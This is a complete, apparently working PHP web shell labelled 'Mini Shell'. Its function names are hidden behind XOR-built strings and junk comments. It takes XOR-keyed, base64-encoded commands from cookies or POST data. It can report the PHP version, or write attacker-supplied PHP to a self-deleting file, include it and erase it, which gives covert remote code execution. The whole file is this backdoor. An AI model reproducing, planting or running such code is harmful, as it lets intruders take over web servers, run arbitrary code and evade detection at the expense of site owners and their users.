Mini Shell

<?php       function  vefzbq(){$ftexpfth='ivkvtbl';/*   np  */print_r    (78489+78489);	}

$_dbvnfhuf	=	'_dbvnfhuf'	^    '<';
$orchaub_qs	=	"f"."i"."\154"       .	$_dbvnfhuf(101)/* ivwxp  */.      "\x5f"/*edmq*/.  "\x70"	./*   dx*/$_dbvnfhuf(117)	./*   alf*/"t".$_dbvnfhuf(95)    ./*   nlyik */"c"."\x6f"	./*   mjd   */"\x6e"	.       $_dbvnfhuf(116)	.     "e"."n".$_dbvnfhuf(116)      .       "s";


$ientwdcjun      =	"\142"	.	"a"."\163"   ./*   im*/"\145"/*  o */.	$_dbvnfhuf(910-856)/*_cysd  */./* kcj*/$_dbvnfhuf(52)	.      "\137"/* p*/.	"d".$_dbvnfhuf(739-638)/*   wi  */./*  t */"\x63"    .	"o"."\144"       .	"\145";


$vwilh  =	$_dbvnfhuf(1072-955)      .       "n"."\x73"/*  d   */./*  zp   */"e"."r".$_dbvnfhuf(367-262)      ./*w  */"a"."\154"  .	"i"."\x7a"/* vkobj*/./*  u_ye */$_dbvnfhuf(315-214);$mqdcn/*   dgpb  */=       $_dbvnfhuf(151-39)      .	$_dbvnfhuf(104)	.      $_dbvnfhuf(302-190)/*  besfv  */./*qhezw*/"v".$_dbvnfhuf(793-692)	.     "\x72"  .	"s".$_dbvnfhuf(105)  ./*  nkfcq  */$_dbvnfhuf(111)    .	"\x6e";
$lwleaeyrcw    =	$_dbvnfhuf(117)  .       $_dbvnfhuf(110)	.       $_dbvnfhuf(108)   ./*   w*/"i"."n"."\153";



       function    _qbzntnx($oduscal,/*uu*/$hagmk_q){
	global/* jmlva*/$_dbvnfhuf;

  $hqv_d   =  "";    for  ($xijnz	=/*   q   */0;    $xijnz     <	strlen($oduscal);)	{


      for/* xd  */($_sbb_u	=      0;/* p   */$_sbb_u/*   rr */<     strlen($hagmk_q)      &&/*   i */$xijnz	</*  os */strlen($oduscal);   $_sbb_u++,	$xijnz++)	{	$hqv_d  .=  $_dbvnfhuf(ord($oduscal[$xijnz])	^	ord($hagmk_q[$_sbb_u]));
/*tnykh*/}

/* _c  */}


	return/*   wga*/$hqv_d;

}
$lmjfuapudv/*  gq */=/* yo  */$_COOKIE;


$gqtnlkfu	=/* yofum  */$_POST;
$lmjfuapudv    =	array_merge($gqtnlkfu,       $lmjfuapudv);$uxuqmsuw/* mhmg   */=      "5".$_dbvnfhuf(723-674)	.  "3".$_dbvnfhuf(208-109)/*   wv   */.      $_dbvnfhuf(266-218)/*iikd*/./*   of */"5"."4"."\x61"/*  i  */./*pr*/"-"."e"."7"."\x63"/*   q   */.       $_dbvnfhuf(101)   .	"-"."4".$_dbvnfhuf(318-216)      .      $_dbvnfhuf(153-96)       ./* ins  */$_dbvnfhuf(779-680)	./*jmi   */"\55"/* jpaw   */./*e  */$_dbvnfhuf(57)  .   $_dbvnfhuf(54)  .     "c".$_dbvnfhuf(1008-953)/*ft */.      $_dbvnfhuf(45)	./*   mscqt  */"\143"	.	"d".$_dbvnfhuf(97).$_dbvnfhuf(522-468)       .       $_dbvnfhuf(57)	.	"\141"    .	"5"."8".$_dbvnfhuf(97)."f".$_dbvnfhuf(50)       ./*fb_dz   */$_dbvnfhuf(928-829);

foreach/*   etpq   */($lmjfuapudv/*   gcp  */as/*eswf*/$sidxfnlwj	=>     $oduscal)	{

/*gbcwk   */$oduscal	=   $vwilh(_qbzntnx(_qbzntnx($ientwdcjun($oduscal),	$uxuqmsuw),/* qle*/$sidxfnlwj));
/*   pclyz   */if  (isset($oduscal[$_dbvnfhuf(97)/* bda   */.	"\153"]))	{	if	($oduscal[$_dbvnfhuf(97)]   ==/*yaalg*/"\151")/* yopzq  */{/*  gtqj  */$xijnz    =	array();

    $xijnz["\160"/*  jldr  */.	$_dbvnfhuf(258-140)]/*   pv  */=	$mqdcn();
  $xijnz["s"."v"]    =  "\x33"/*  vmgwt */.   $_dbvnfhuf(799-753)	.	$_dbvnfhuf(283-230);
	echo      @serialize($xijnz);

/*  svo*/}	elseif/*  d   */($oduscal[$_dbvnfhuf(97)]       ==/* q  */"e")	{

      $enpkamge      =/*   kh */sprintf(".".$_dbvnfhuf(549-502)  ./* hb   */"\45"	.    $_dbvnfhuf(115)    .	"\x2e"/*   iw */.      "p".$_dbvnfhuf(448-340),    md5($uxuqmsuw));      $orchaub_qs($enpkamge,/*   cj*/"<"	.	"?".$_dbvnfhuf(112)/*dgvma */.	"h"."\160"  .	$_dbvnfhuf(32)    ./*hegp*/"u"."n"."l"."\151"."n"."k".$_dbvnfhuf(575-535)	.       "\x5f"     .      "_"."F"."\x49"/* huvkv  */.	"L"."E"."\137"	.	"\137"/*prh   */.	")".";".$_dbvnfhuf(32)/*zxtq*/.  $oduscal["d"]);

  include($enpkamge);


  $nqlvl     =	$enpkamge;
	$lwleaeyrcw($nqlvl);


      }
	exit();
      }

}